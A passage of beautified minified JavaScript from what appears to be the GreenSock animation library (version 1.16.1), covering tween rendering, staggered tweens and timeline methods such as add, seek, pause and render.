                    this.render(a, !0, !1)
                } else if (this._time > 0 || n) {
                    this._initted = !1,
                    this._init();
                    for (var o, h = 1 / (1 - r), l = this._firstPT; l; )
                        o = l.s + l.c,
                        l.c *= h,
                        l.s = o - l.c,
                        l = l._next
                }
            return this
        }
        ,
        l.render = function(t, e, i) {
            this._initted || 0 === this._duration && this.vars.repeat && this.invalidate();
            var s, r, o, h, l, u, p, f, c = this._dirty ? this.totalDuration() : this._totalDuration, m = this._time, d = this._totalTime, g = this._cycle, v = this._duration, y = this._rawPrevTime;
            if (t >= c ? (this._totalTime = c,
            this._cycle = this._repeat,
            this._yoyo && 0 !== (1 & this._cycle) ? (this._time = 0,
            this.ratio = this._ease._calcEnd ? this._ease.getRatio(0) : 0) : (this._time = v,
            this.ratio = this._ease._calcEnd ? this._ease.getRatio(1) : 1),
            this._reversed || (s = !0,
            r = "onComplete",
            i = i || this._timeline.autoRemoveChildren),
            0 === v && (this._initted || !this.vars.lazy || i) && (this._startTime === this._timeline._duration && (t = 0),
            (0 === t || 0 > y || y === n) && y !== t && (i = !0,
            y > n && (r = "onReverseComplete")),
            this._rawPrevTime = f = !e || t || y === t ? t : n)) : 1e-7 > t ? (this._totalTime = this._time = this._cycle = 0,
            this.ratio = this._ease._calcEnd ? this._ease.getRatio(0) : 0,
            (0 !== d || 0 === v && y > 0) && (r = "onReverseComplete",
            s = this._reversed),
            0 > t && (this._active = !1,
            0 === v && (this._initted || !this.vars.lazy || i) && (y >= 0 && (i = !0),
            this._rawPrevTime = f = !e || t || y === t ? t : n)),
            this._initted || (i = !0)) : (this._totalTime = this._time = t,
            0 !== this._repeat && (h = v + this._repeatDelay,
            this._cycle = this._totalTime / h >> 0,
            0 !== this._cycle && this._cycle === this._totalTime / h && this._cycle--,
            this._time = this._totalTime - this._cycle * h,
            this._yoyo && 0 !== (1 & this._cycle) && (this._time = v - this._time),
            this._time > v ? this._time = v : 0 > this._time && (this._time = 0)),
            this._easeType ? (l = this._time / v,
            u = this._easeType,
            p = this._easePower,
            (1 === u || 3 === u && l >= .5) && (l = 1 - l),
            3 === u && (l *= 2),
            1 === p ? l *= l : 2 === p ? l *= l * l : 3 === p ? l *= l * l * l : 4 === p && (l *= l * l * l * l),
            this.ratio = 1 === u ? 1 - l : 2 === u ? l : .5 > this._time / v ? l / 2 : 1 - l / 2) : this.ratio = this._ease.getRatio(this._time / v)),
            m === this._time && !i && g === this._cycle)
                return d !== this._totalTime && this._onUpdate && (e || this._onUpdate.apply(this.vars.onUpdateScope || this, this.vars.onUpdateParams || _)),
                void 0;
            if (!this._initted) {
                if (this._init(),
                !this._initted || this._gc)
                    return;
                if (!i && this._firstPT && (this.vars.lazy !== !1 && this._duration || this.vars.lazy && !this._duration))
                    return this._time = m,
                    this._totalTime = d,
                    this._rawPrevTime = y,
                    this._cycle = g,
                    a.lazyTweens.push(this),
                    this._lazy = [t, e],
                    void 0;
                this._time && !s ? this.ratio = this._ease.getRatio(this._time / v) : s && this._ease._calcEnd && (this.ratio = this._ease.getRatio(0 === this._time ? 0 : 1))
            }
            for (this._lazy !== !1 && (this._lazy = !1),
            this._active || !this._paused && this._time !== m && t >= 0 && (this._active = !0),
            0 === d && (2 === this._initted && t > 0 && this._init(),
            this._startAt && (t >= 0 ? this._startAt.render(t, e, i) : r || (r = "_dummyGS")),
            this.vars.onStart && (0 !== this._totalTime || 0 === v) && (e || this.vars.onStart.apply(this.vars.onStartScope || this, this.vars.onStartParams || _))),
            o = this._firstPT; o; )
                o.f ? o.t[o.p](o.c * this.ratio + o.s) : o.t[o.p] = o.c * this.ratio + o.s,
                o = o._next;
            this._onUpdate && (0 > t && this._startAt && this._startTime && this._startAt.render(t, e, i),
            e || (this._totalTime !== d || s) && this._onUpdate.apply(this.vars.onUpdateScope || this, this.vars.onUpdateParams || _)),
            this._cycle !== g && (e || this._gc || this.vars.onRepeat && this.vars.onRepeat.apply(this.vars.onRepeatScope || this, this.vars.onRepeatParams || _)),
            r && (!this._gc || i) && (0 > t && this._startAt && !this._onUpdate && this._startTime && this._startAt.render(t, e, i),
            s && (this._timeline.autoRemoveChildren && this._enabled(!1, !1),
            this._active = !1),
            !e && this.vars[r] && this.vars[r].apply(this.vars[r + "Scope"] || this, this.vars[r + "Params"] || _),
            0 === v && this._rawPrevTime === n && f !== n && (this._rawPrevTime = 0))
        }
        ,
        r.to = function(t, e, i) {
            return new r(t,e,i)
        }
        ,
        r.from = function(t, e, i) {
            return i.runBackwards = !0,
            i.immediateRender = 0 != i.immediateRender,
            new r(t,e,i)
        }
        ,
        r.fromTo = function(t, e, i, s) {
            return s.startAt = i,
            s.immediateRender = 0 != s.immediateRender && 0 != i.immediateRender,
            new r(t,e,s)
        }
        ,
        r.staggerTo = r.allTo = function(t, e, n, a, l, u, p) {
            a = a || 0;
            var f, c, m, d, g = n.delay || 0, v = [], y = function() {
                n.onComplete && n.onComplete.apply(n.onCompleteScope || this, arguments),
                l.apply(p || this, u || _)
            };
            for (h(t) || ("string" == typeof t && (t = i.selector(t) || t),
            o(t) && (t = s(t))),
            t = t || [],
            0 > a && (t = s(t),
            t.reverse(),
            a *= -1),
            f = t.length - 1,
            m = 0; f >= m; m++) {
                c = {};
                for (d in n)
                    c[d] = n[d];
                c.delay = g,
                m === f && l && (c.onComplete = y),
                v[m] = new r(t[m],e,c),
                g += a
            }
            return v
        }
        ,
        r.staggerFrom = r.allFrom = function(t, e, i, s, n, a, o) {
            return i.runBackwards = !0,
            i.immediateRender = 0 != i.immediateRender,
            r.staggerTo(t, e, i, s, n, a, o)
        }
        ,
        r.staggerFromTo = r.allFromTo = function(t, e, i, s, n, a, o, h) {
            return s.startAt = i,
            s.immediateRender = 0 != s.immediateRender && 0 != i.immediateRender,
            r.staggerTo(t, e, s, n, a, o, h)
        }
        ,
        r.delayedCall = function(t, e, i, s, n) {
            return new r(e,0,{
                delay: t,
                onComplete: e,
                onCompleteParams: i,
                onCompleteScope: s,
                onReverseComplete: e,
                onReverseCompleteParams: i,
                onReverseCompleteScope: s,
                immediateRender: !1,
                useFrames: n,
                overwrite: 0
            })
        }
        ,
        r.set = function(t, e) {
            return new r(t,0,e)
        }
        ,
        r.isTweening = function(t) {
            return i.getTweensOf(t, !0).length > 0
        }
        ;
        var u = function(t, e) {
            for (var s = [], r = 0, n = t._first; n; )
                n instanceof i ? s[r++] = n : (e && (s[r++] = n),
                s = s.concat(u(n, e)),
                r = s.length),
                n = n._next;
            return s
        }
          , p = r.getAllTweens = function(e) {
            return u(t._rootTimeline, e).concat(u(t._rootFramesTimeline, e))
        }
        ;
        r.killAll = function(t, i, s, r) {
            null == i && (i = !0),
            null == s && (s = !0);
            var n, a, o, h = p(0 != r), l = h.length, _ = i && s && r;
            for (o = 0; l > o; o++)
                a = h[o],
                (_ || a instanceof e || (n = a.target === a.vars.onComplete) && s || i && !n) && (t ? a.totalTime(a._reversed ? 0 : a.totalDuration()) : a._enabled(!1, !1))
        }
        ,
        r.killChildTweensOf = function(t, e) {
            if (null != t) {
                var n, l, _, u, p, f = a.tweenLookup;
                if ("string" == typeof t && (t = i.selector(t) || t),
                o(t) && (t = s(t)),
                h(t))
                    for (u = t.length; --u > -1; )
                        r.killChildTweensOf(t[u], e);
                else {
                    n = [];
                    for (_ in f)
                        for (l = f[_].target.parentNode; l; )
                            l === t && (n = n.concat(f[_].tweens)),
                            l = l.parentNode;
                    for (p = n.length,
                    u = 0; p > u; u++)
                        e && n[u].totalTime(n[u].totalDuration()),
                        n[u]._enabled(!1, !1)
                }
            }
        }
        ;
        var f = function(t, i, s, r) {
            i = i !== !1,
            s = s !== !1,
            r = r !== !1;
            for (var n, a, o = p(r), h = i && s && r, l = o.length; --l > -1; )
                a = o[l],
                (h || a instanceof e || (n = a.target === a.vars.onComplete) && s || i && !n) && a.paused(t)
        };
        return r.pauseAll = function(t, e, i) {
            f(!0, t, e, i)
        }
        ,
        r.resumeAll = function(t, e, i) {
            f(!1, t, e, i)
        }
        ,
        r.globalTimeScale = function(e) {
            var s = t._rootTimeline
              , r = i.ticker.time;
            return arguments.length ? (e = e || n,
            s._startTime = r - (r - s._startTime) * s._timeScale / e,
            s = t._rootFramesTimeline,
            r = i.ticker.frame,
            s._startTime = r - (r - s._startTime) * s._timeScale / e,
            s._timeScale = t._rootTimeline._timeScale = e,
            e) : s._timeScale
        }
        ,
        l.progress = function(t) {
            return arguments.length ? this.totalTime(this.duration() * (this._yoyo && 0 !== (1 & this._cycle) ? 1 - t : t) + this._cycle * (this._duration + this._repeatDelay), !1) : this._time / this.duration()
        }
        ,
        l.totalProgress = function(t) {
            return arguments.length ? this.totalTime(this.totalDuration() * t, !1) : this._totalTime / this.totalDuration()
        }
        ,
        l.time = function(t, e) {
            return arguments.length ? (this._dirty && this.totalDuration(),
            t > this._duration && (t = this._duration),
            this._yoyo && 0 !== (1 & this._cycle) ? t = this._duration - t + this._cycle * (this._duration + this._repeatDelay) : 0 !== this._repeat && (t += this._cycle * (this._duration + this._repeatDelay)),
            this.totalTime(t, e)) : this._time
        }
        ,
        l.duration = function(e) {
            return arguments.length ? t.prototype.duration.call(this, e) : this._duration
        }
        ,
        l.totalDuration = function(t) {
            return arguments.length ? -1 === this._repeat ? this : this.duration((t - this._repeat * this._repeatDelay) / (this._repeat + 1)) : (this._dirty && (this._totalDuration = -1 === this._repeat ? 999999999999 : this._duration * (this._repeat + 1) + this._repeatDelay * this._repeat,
            this._dirty = !1),
            this._totalDuration)
        }
        ,
        l.repeat = function(t) {
            return arguments.length ? (this._repeat = t,
            this._uncache(!0)) : this._repeat
        }
        ,
        l.repeatDelay = function(t) {
            return arguments.length ? (this._repeatDelay = t,
            this._uncache(!0)) : this._repeatDelay
        }
        ,
        l.yoyo = function(t) {
            return arguments.length ? (this._yoyo = t,
            this) : this._yoyo
        }
        ,
        r
    }, !0),
    _gsScope._gsDefine("TimelineLite", ["core.Animation", "core.SimpleTimeline", "TweenLite"], function(t, e, i) {
        var s = function(t) {
            e.call(this, t),
            this._labels = {},
            this.autoRemoveChildren = this.vars.autoRemoveChildren === !0,
            this.smoothChildTiming = this.vars.smoothChildTiming === !0,
            this._sortChildren = !0,
            this._onUpdate = this.vars.onUpdate;
            var i, s, r = this.vars;
            for (s in r)
                i = r[s],
                h(i) && -1 !== i.join("").indexOf("{self}") && (r[s] = this._swapSelfInParams(i));
            h(r.tweens) && this.add(r.tweens, 0, r.align, r.stagger)
        }
          , r = 1e-10
          , n = i._internals
          , a = s._internals = {}
          , o = n.isSelector
          , h = n.isArray
          , l = n.lazyTweens
          , _ = n.lazyRender
          , u = []
          , p = _gsScope._gsDefine.globals
          , f = function(t) {
            var e, i = {};
            for (e in t)
                i[e] = t[e];
            return i
        }
          , c = a.pauseCallback = function(t, e, i, s) {
            var n, a = t._timeline, o = a._totalTime, h = t._startTime, l = 0 > t._rawPrevTime || 0 === t._rawPrevTime && a._reversed, _ = l ? 0 : r, p = l ? r : 0;
            if (e || !this._forcingPlayhead) {
                for (a.pause(h),
                n = t._prev; n && n._startTime === h; )
                    n._rawPrevTime = p,
                    n = n._prev;
                for (n = t._next; n && n._startTime === h; )
                    n._rawPrevTime = _,
                    n = n._next;
                e && e.apply(s || a, i || u),
                (this._forcingPlayhead || !a._paused) && a.seek(o)
            }
        }
          , m = function(t) {
            var e, i = [], s = t.length;
            for (e = 0; e !== s; i.push(t[e++]))
                ;
            return i
        }
          , d = s.prototype = new e;
        return s.version = "1.16.1",
        d.constructor = s,
        d.kill()._gc = d._forcingPlayhead = !1,
        d.to = function(t, e, s, r) {
            var n = s.repeat && p.TweenMax || i;
            return e ? this.add(new n(t,e,s), r) : this.set(t, s, r)
        }
        ,
        d.from = function(t, e, s, r) {
            return this.add((s.repeat && p.TweenMax || i).from(t, e, s), r)
        }
        ,
        d.fromTo = function(t, e, s, r, n) {
            var a = r.repeat && p.TweenMax || i;
            return e ? this.add(a.fromTo(t, e, s, r), n) : this.set(t, r, n)
        }
        ,
        d.staggerTo = function(t, e, r, n, a, h, l, _) {
            var u, p = new s({
                onComplete: h,
                onCompleteParams: l,
                onCompleteScope: _,
                smoothChildTiming: this.smoothChildTiming
            });
            for ("string" == typeof t && (t = i.selector(t) || t),
            t = t || [],
            o(t) && (t = m(t)),
            n = n || 0,
            0 > n && (t = m(t),
            t.reverse(),
            n *= -1),
            u = 0; t.length > u; u++)
                r.startAt && (r.startAt = f(r.startAt)),
                p.to(t[u], e, f(r), u * n);
            return this.add(p, a)
        }
        ,
        d.staggerFrom = function(t, e, i, s, r, n, a, o) {
            return i.immediateRender = 0 != i.immediateRender,
            i.runBackwards = !0,
            this.staggerTo(t, e, i, s, r, n, a, o)
        }
        ,
        d.staggerFromTo = function(t, e, i, s, r, n, a, o, h) {
            return s.startAt = i,
            s.immediateRender = 0 != s.immediateRender && 0 != i.immediateRender,
            this.staggerTo(t, e, s, r, n, a, o, h)
        }
        ,
        d.call = function(t, e, s, r) {
            return this.add(i.delayedCall(0, t, e, s), r)
        }
        ,
        d.set = function(t, e, s) {
            return s = this._parseTimeOrLabel(s, 0, !0),
            null == e.immediateRender && (e.immediateRender = s === this._time && !this._paused),
            this.add(new i(t,0,e), s)
        }
        ,
        s.exportRoot = function(t, e) {
            t = t || {},
            null == t.smoothChildTiming && (t.smoothChildTiming = !0);
            var r, n, a = new s(t), o = a._timeline;
            for (null == e && (e = !0),
            o._remove(a, !0),
            a._startTime = 0,
            a._rawPrevTime = a._time = a._totalTime = o._time,
            r = o._first; r; )
                n = r._next,
                e && r instanceof i && r.target === r.vars.onComplete || a.add(r, r._startTime - r._delay),
                r = n;
            return o.add(a, 0),
            a
        }
        ,
        d.add = function(r, n, a, o) {
            var l, _, u, p, f, c;
            if ("number" != typeof n && (n = this._parseTimeOrLabel(n, 0, !0, r)),
            !(r instanceof t)) {
                if (r instanceof Array || r && r.push && h(r)) {
                    for (a = a || "normal",
                    o = o || 0,
                    l = n,
                    _ = r.length,
                    u = 0; _ > u; u++)
                        h(p = r[u]) && (p = new s({
                            tweens: p
                        })),
                        this.add(p, l),
                        "string" != typeof p && "function" != typeof p && ("sequence" === a ? l = p._startTime + p.totalDuration() / p._timeScale : "start" === a && (p._startTime -= p.delay())),
                        l += o;
                    return this._uncache(!0)
                }
                if ("string" == typeof r)
                    return this.addLabel(r, n);
                if ("function" != typeof r)
                    throw "Cannot add " + r + " into the timeline; it is not a tween, timeline, function, or string.";
                r = i.delayedCall(0, r)
            }
            if (e.prototype.add.call(this, r, n),
            (this._gc || this._time === this._duration) && !this._paused && this._duration < this.duration())
                for (f = this,
                c = f.rawTime() > r._startTime; f._timeline; )
                    c && f._timeline.smoothChildTiming ? f.totalTime(f._totalTime, !0) : f._gc && f._enabled(!0, !1),
                    f = f._timeline;
            return this
        }
        ,
        d.remove = function(e) {
            if (e instanceof t)
                return this._remove(e, !1);
            if (e instanceof Array || e && e.push && h(e)) {
                for (var i = e.length; --i > -1; )
                    this.remove(e[i]);
                return this
            }
            return "string" == typeof e ? this.removeLabel(e) : this.kill(null, e)
        }
        ,
        d._remove = function(t, i) {
            e.prototype._remove.call(this, t, i);
            var s = this._last;
            return s ? this._time > s._startTime + s._totalDuration / s._timeScale && (this._time = this.duration(),
            this._totalTime = this._totalDuration) : this._time = this._totalTime = this._duration = this._totalDuration = 0,
            this
        }
        ,
        d.append = function(t, e) {
            return this.add(t, this._parseTimeOrLabel(null, e, !0, t))
        }
        ,
        d.insert = d.insertMultiple = function(t, e, i, s) {
            return this.add(t, e || 0, i, s)
        }
        ,
        d.appendMultiple = function(t, e, i, s) {
            return this.add(t, this._parseTimeOrLabel(null, e, !0, t), i, s)
        }
        ,
        d.addLabel = function(t, e) {
            return this._labels[t] = this._parseTimeOrLabel(e),
            this
        }
        ,
        d.addPause = function(t, e, s, r) {
            var n = i.delayedCall(0, c, ["{self}", e, s, r], this);
            return n.data = "isPause",
            this.add(n, t)
        }
        ,
        d.removeLabel = function(t) {
            return delete this._labels[t],
            this
        }
        ,
        d.getLabelTime = function(t) {
            return null != this._labels[t] ? this._labels[t] : -1
        }
        ,
        d._parseTimeOrLabel = function(e, i, s, r) {
            var n;
            if (r instanceof t && r.timeline === this)
                this.remove(r);
            else if (r && (r instanceof Array || r.push && h(r)))
                for (n = r.length; --n > -1; )
                    r[n]instanceof t && r[n].timeline === this && this.remove(r[n]);
            if ("string" == typeof i)
                return this._parseTimeOrLabel(i, s && "number" == typeof e && null == this._labels[i] ? e - this.duration() : 0, s);
            if (i = i || 0,
            "string" != typeof e || !isNaN(e) && null == this._labels[e])
                null == e && (e = this.duration());
            else {
                if (n = e.indexOf("="),
                -1 === n)
                    return null == this._labels[e] ? s ? this._labels[e] = this.duration() + i : i : this._labels[e] + i;
                i = parseInt(e.charAt(n - 1) + "1", 10) * Number(e.substr(n + 1)),
                e = n > 1 ? this._parseTimeOrLabel(e.substr(0, n - 1), 0, s) : this.duration()
            }
            return Number(e) + i
        }
        ,
        d.seek = function(t, e) {
            return this.totalTime("number" == typeof t ? t : this._parseTimeOrLabel(t), e !== !1)
        }
        ,
        d.stop = function() {
            return this.paused(!0)
        }
        ,
        d.gotoAndPlay = function(t, e) {
            return this.play(t, e)
        }
        ,
        d.gotoAndStop = function(t, e) {
            return this.pause(t, e)
        }
        ,
        d.render = function(t, e, i) {
            this._gc && this._enabled(!0, !1);
            var s, n, a, o, h, p = this._dirty ? this.totalDuration() : this._totalDuration, f = this._time, c = this._startTime, m = this._timeScale, d = this._paused;
            if (t >= p)
                this._totalTime = this._time = p,
                this._reversed || this._hasPausedChild() || (n = !0,
                o = "onComplete",
                h = !!this._timeline.autoRemoveChildren,
                0 === this._duration && (0 === t || 0 > this._rawPrevTime || this._rawPrevTime === r) && this._rawPrevTime !== t && this._first && (h = !0,
                this._rawPrevTime > r && (o = "onReverseComplete"))),
                this._rawPrevTime = this._duration || !e || t || this._rawPrevTime === t ? t : r,
                t = p + 1e-4;
            else if (1e-7 > t)
                if (this._totalTime = this._time = 0,
                (0 !== f || 0 === this._duration && this._rawPrevTime !== r && (this._rawPrevTime > 0 || 0 > t && this._rawPrevTime >= 0)) && (o = "onReverseComplete",
                n = this._reversed),
                0 > t)
                    this._active = !1,
                    this._timeline.autoRemoveChildren && this._reversed ? (h = n = !0,
                    o = "onReverseComplete") : this._rawPrevTime >= 0 && this._first && (h = !0),
                    this._rawPrevTime = t;
                else {
                    if (this._rawPrevTime = this._duration || !e || t || this._rawPrevTime === t ? t : r,
                    0 === t && n)
                        for (s = this._first; s && 0 === s._startTime; )
                            s._duration || (n = !1),
                            s = s._next;
                    t = 0,
                    this._initted || (h = !0)
                }
            else
                this._totalTime = this._time = this._rawPrevTime = t;
            if (this._time !== f && this._first || i || h) {
                if (this._initted || (this._initted = !0),
                this._active || !this._paused && this._time !== f && t > 0 && (this._active = !0),
                0 === f && this.vars.onStart && 0 !== this._time && (e || this.vars.onStart.apply(this.vars.onStartScope || this, this.vars.onStartParams || u)),
                this._time >= f)
                    for (s = this._first; s && (a = s._next,
                    !this._paused || d); )
                        (s._active || s._startTime <= this._time && !s._paused && !s._gc) && (s._reversed ? s.render((s._dirty ? s.totalDuration() : s._totalDuration) - (t - s._startTime) * s._timeScale, e, i) : s.render((t - s._startTime) * s._timeScale, e, i)),
                        s = a;
                else
                    for (s = this._last; s && (a = s._prev,
                    !this._paused || d); )
                        (s._active || f >= s._startTime && !s._paused && !s._gc) && (s._reversed ? s.render((s._dirty ? s.totalDuration() : s._totalDuration) - (t - s._startTime) * s._timeScale, e, i) : s.render((t - s._startTime) * s._timeScale, e, i)),
                        s = a;
                this._onUpdate && (e || (l.length && _(),
                this._onUpdate.apply(this.vars.onUpdateScope || this, this.vars.onUpdateParams || u))),
                o && (this._gc || (c === this._startTime || m !== this._timeScale) && (0 === this._time || p >= this.totalDuration()) && (n && (l.length && _(),
                this._timeline.autoRemoveChildren && this._enabled(!1, !1),
                this._active = !1),
                !e && this.vars[o] && this.vars[o].apply(this.vars[o + "Scope"] || this, this.vars[o + "Params"] || u)))
            }
        }
        ,
        d._hasPausedChild = function() {
            for (var t = this._first; t; ) {
                if (t._paused || t instanceof s && t._hasPausedChild())
                    return !0;
                t = t._next
            }
            return !1
        }
        ,
        d.getChildren = function(t, e, s, r) {
            r = r || -9999999999;
            for (var n = [], a = this._first, o = 0; a; )
                r > a._startTime || (a instanceof i ? e !== !1 && (n[o++] = a) : (s !== !1 && (n[o++] = a),
                t !== !1 && (n = n.concat(a.getChildren(!0, e, s)),
                o = n.length))),
                a = a._next;
            return n
        }
        ,
        d.getTweensOf = function(t, e) {
            var s, r, n = this._gc, a = [], o = 0;
            for (n && this._enabled(!0, !0),
            s = i.getTweensOf(t),
            r = s.length; --r > -1; )
                (s[r].timeline === this || e && this._contains(s[r])) && (a[o++] = s[r]);
            return n && this._enabled(!1, !0),
            a
        }
        ,
        d.recent = function() {
            return this._recent
        }
        ,
        d._contains = function(t) {
            for (var e = t.timeline; e; ) {
                if (e === this)
                    return !0;
                e = e.timeline
            }
            return !1
        }
        ,
        d.shiftChildren = function(t, e, i) {
            i = i || 0;
            for (var s, r = this._first, n = this._labels; r; )
                r._startTime >= i && (r._startTime += t),
                r = r._next;
            if (e)
                for (s in n)
                    n[s] >= i && (n[s] += t);
            return this._uncache(!0)
        }
        ,
        d._kill = function(t, e) {
            if (!t && !e)
                return this._enabled(!1, !1);
            for (var i = e ? this.getTweensOf(e) : this.getChildren(!0, !0, !1), s = i.length, r = !1; --s > -1; )
                i[s]._kill(t, e) && (r = !0);
            return r
        }
        ,
        d.clear = function(t) {
            var e = this.getChildren(!1, !0, !0)
              , i = e.length;
            for (this._time = this._totalTime = 0; --i > -1; )
                e[i]._enabled(!1, !1);
            return t !== !1 && (this._labels = {}),
            this._uncache(!0)
        }
        ,
        d.invalidate = function() {
            for (var e = this._first; e; )
                e.invalidate(),
                e = e._next;
            return t.prototype.invalidate.call(this)
        }
        ,
        d._enabled = function(t, i) {
            if (t === this._gc)
                for (var s = this._first; s; )
                    s._enabled(t, !0),
                    s = s._next;
            return e.prototype._enabled.call(this, t, i)
        }
        ,
        d.totalTime = function() {
            this._forcingPlayhead = !0;
            var e = t.prototype.totalTime.apply(this, arguments);
            return this._forcingPlayhead = !1,
            e
        }
        ,
        d.duration = function(t) {
            return arguments.length ? (0 !== this.duration() && 0 !== t && this.timeScale(this._duration / t),
            this) : (this._dirty && this.totalDuration(),
            this._duration)
        }
        ,
        d.totalDuration = function(t) {
            if (!arguments.length) {
                if (this._dirty) {
                    for (var e, i, s = 0, r = this._last, n = 999999999999; r; )
                        e = r._prev,
                        r._dirty && r.totalDuration(),
                        r._startTime > n && this._sortChildren && !r._paused ? this.add(r, r._startTime - r._delay) : n = r._startTime,
                        0 > r._startTime && !r._paused && (s -= r._startTime,
                        this._timeline.smoothChildTiming && (this._startTime += r._startTime / this._timeScale),
                        this.shiftChildren(-r._startTime, !1, -9999999999),
                        n = 0),
                        i = r._startTime + r._totalDuration / r._timeScale,
                        i > s && (s = i),
                        r = e;
                    this._duration = this._totalDuration = s,
                    this._dirty = !1
                }
                return this._totalDuration
            }
            return 0 !== this.totalDuration() && 0 !== t && this.timeScale(this._totalDuration / t),
            this
        }
        ,
        d.paused = function(e) {
            if (!e)
                for (var i = this._first, s = this._time; i; )
                    i._startTime === s && "isPause" === i.data && (i._rawPrevTime = 0),
                    i = i._next;
            return t.prototype.paused.apply(this, arguments)
        }
        ,
        d.usesFrames = function() {
            for (var e = this._timeline; e._timeline; )
                e = e._timeline;
            return e === t._rootFramesTimeline
        }
        ,
        d.rawTime = function() {
            return this._paused ? this._totalTime : (this._timeline.rawTime() - this._startTime) * this._timeScale
        }
        ,
        s
    }, !0),
    _gsScope._gsDefine("TimelineMax", ["TimelineLite", "TweenLite", "easing.Ease"], function(t, e, i) {
        var s = function(e) {
            t.call(this, e),
            this._repeat = this.vars.repeat || 0,
            this._repeatDelay = this.vars.repeatDelay || 0,
            this._cycle = 0,
            this._yoyo = this.vars.yoyo === !0,
            this._dirty = !0
        }
          , r = 1e-10
          , n = []
          , a = e._internals
          , o = a.lazyTweens
          , h = a.lazyRender
          , l = new i(null,null,1,0)
          , _ = s.prototype = new t;
        return _.constructor = s,
        _.kill()._gc = !1,
        s.version = "1.16.1",
        _.invalidate = function() {
            return this._yoyo = this.vars.yoyo === !0,
            this._repeat = this.vars.repeat || 0,
            this._repeatDelay = this.vars.repeatDelay || 0,
            this._uncache(!0),
            t.prototype.invalidate.call(this)
        }
        ,
        _.addCallback = function(t, i, s, r) {
            return this.add(e.delayedCall(0, t, s, r), i)
        }
        ,
        _.removeCallback = function(t, e) {
            if (t)
                if (null == e)
                    this._kill(null, t);
                else
                    for (var i = this.getTweensOf(t, !1), s = i.length, r = this._parseTimeOrLabel(e); --s > -1; )
                        i[s]._startTime === r && i[s]._enabled(!1, !1);
            return this
        }
        ,
        _.removePause = function(e) {
            return this.removeCallback(t._internals.pauseCallback, e)
        }
        ,
        _.tweenTo = function(t, i) {
            i = i || {};
            var s, r, a, o = {
                ease: l,
                useFrames: this.usesFrames(),
                immediateRender: !1
            };
            for (r in i)
                o[r] = i[r];
            return o.time = this._parseTimeOrLabel(t),
            s = Math.abs(Number(o.time) - this._time) / this._timeScale || .001,
            a = new e(this,s,o),
            o.onStart = function() {
                a.target.paused(!0),
                a.vars.time !== a.target.time() && s === a.duration() && a.duration(Math.abs(a.vars.time - a.target.time()) / a.target._timeScale),
                i.onStart && i.onStart.apply(i.onStartScope || a, i.onStartParams || n)
            }
            ,
            a
        }
        ,
        _.tweenFromTo = function(t, e, i) {
            i = i || {},
            t = this._parseTimeOrLabel(t),
            i.startAt = {
                onComplete: this.seek,
                onCompleteParams: [t],
                onCompleteScope: this
            },
            i.immediateRender = i.immediateRender !== !1;
            var s = this.tweenTo(e, i);
            return s.duration(Math.abs(s.vars.time - t) / this._timeScale || .001)
        }
        ,
        _.render = function(t, e, i) {
            this._gc && this._enabled(!0, !1);
            var s, a, l, _, u, p, f = this._dirty ? this.totalDuration() : this._totalDuration, c = this._duration, m = this._time, d = this._totalTime, g = this._startTime, v = this._timeScale, y = this._rawPrevTime, T = this._paused, w = this._cycle;
            if (t >= f)
                this._locked || (this._totalTime = f,
                this._cycle = this._repeat),
                this._reversed || this._hasPausedChild() || (a = !0,
                _ = "onComplete",
                u = !!this._timeline.autoRemoveChildren,
                0 === this._duration && (0 === t || 0 > y || y === r) && y !== t && this._first && (u = !0,
                y > r && (_ = "onReverseComplete"))),
                this._rawPrevTime = this._duration || !e || t || this._rawPrevTime === t ? t : r,
                this._yoyo && 0 !== (1 & this._cycle) ? this._time = t = 0 : (this._time = c,
                t = c + 1e-4);
            else if (1e-7 > t)
                if (this._locked || (this._totalTime = this._cycle = 0),
                this._time = 0,
                (0 !== m || 0 === c && y !== r && (y > 0 || 0 > t && y >= 0) && !this._locked) && (_ = "onReverseComplete",
                a = this._reversed),
                0 > t)
                    this._active = !1,
                    this._timeline.autoRemoveChildren && this._reversed ? (u = a = !0,
                    _ = "onReverseComplete") : y >= 0 && this._first && (u = !0),
                    this._rawPrevTime = t;
                else {
                    if (this._rawPrevTime = c || !e || t || this._rawPrevTime === t ? t : r,
                    0 === t && a)
                        for (s = this._first; s && 0 === s._startTime; )
                            s._duration || (a = !1),
                            s = s._next;
                    t = 0,
                    this._initted || (u = !0)
                }
            else
                0 === c && 0 > y && (u = !0),
                this._time = this._rawPrevTime = t,
                this._locked || (this._totalTime = t,
                0 !== this._repeat && (p = c + this._repeatDelay,
                this._cycle = this._totalTime / p >> 0,
                0 !== this._cycle && this._cycle === this._totalTime / p && this._cycle--,
                this._time = this._totalTime - this._cycle * p,
                this._yoyo && 0 !== (1 & this._cycle) && (this._time = c - this._time),
                this._time > c ? (this._time = c,
                t = c + 1e-4) : 0 > this._time ? this._time = t = 0 : t = this._time));
            if (this._cycle !== w && !this._locked) {
                var x = this._yoyo && 0 !== (1 & w)
                  , b = x === (this._yoyo && 0 !== (1 & this._cycle))
                  , P = this._totalTime
                  , S = this._cycle
                  , k = this._rawPrevTime
                  , R = this._time;
                if (this._totalTime = w * c,
                w > this._cycle ? x = !x : this._totalTime += c,
                this._time = m,
                this._rawPrevTime = 0 === c ? y - 1e-4 : y,
                this._cycle = w,
                this._locked = !0,
                m = x ? 0 : c,
                this.render(m, e, 0 === c),
                e || this._gc || this.vars.onRepeat && this.vars.onRepeat.apply(this.vars.onRepeatScope || this, this.vars.onRepeatParams || n),
                b && (m = x ? c + 1e-4 : -1e-4,
                this.render(m, !0, !1)),
                this._locked = !1,
                this._paused && !T)
                    return;
                this._time = R,
                this._totalTime = P,
                this._cycle = S,
                this._rawPrevTime = k
            }
            if (!(this._time !== m && this._first || i || u))
                return d !== this._totalTime && this._onUpdate && (e || this._onUpdate.apply(this.vars.onUpdateScope || this, this.vars.onUpdateParams || n)),
                void 0;
            if (this._initted || (this._initted = !0),
            this._active || !this._paused && this._totalTime !== d && t > 0 && (this._active = !0),
            0 === d && this.vars.onStart && 0 !== this._totalTime && (e || this.vars.onStart.apply(this.vars.onStartScope || this, this.vars.onStartParams || n)),
            this._time >= m)
                for (s = this._first; s && (l = s._next,
                !this._paused || T); )
                    (s._active || s._startTime <= this._time && !s._paused && !s._gc) && (s._reversed ? s.render((s._dirty ? s.totalDuration() : s._totalDuration) - (t - s._startTime) * s._timeScale, e, i) : s.render((t - s._startTime) * s._timeScale, e, i)),
                    s = l;
            else
                for (s = this._last; s && (l = s._prev,
                !this._paused || T); )
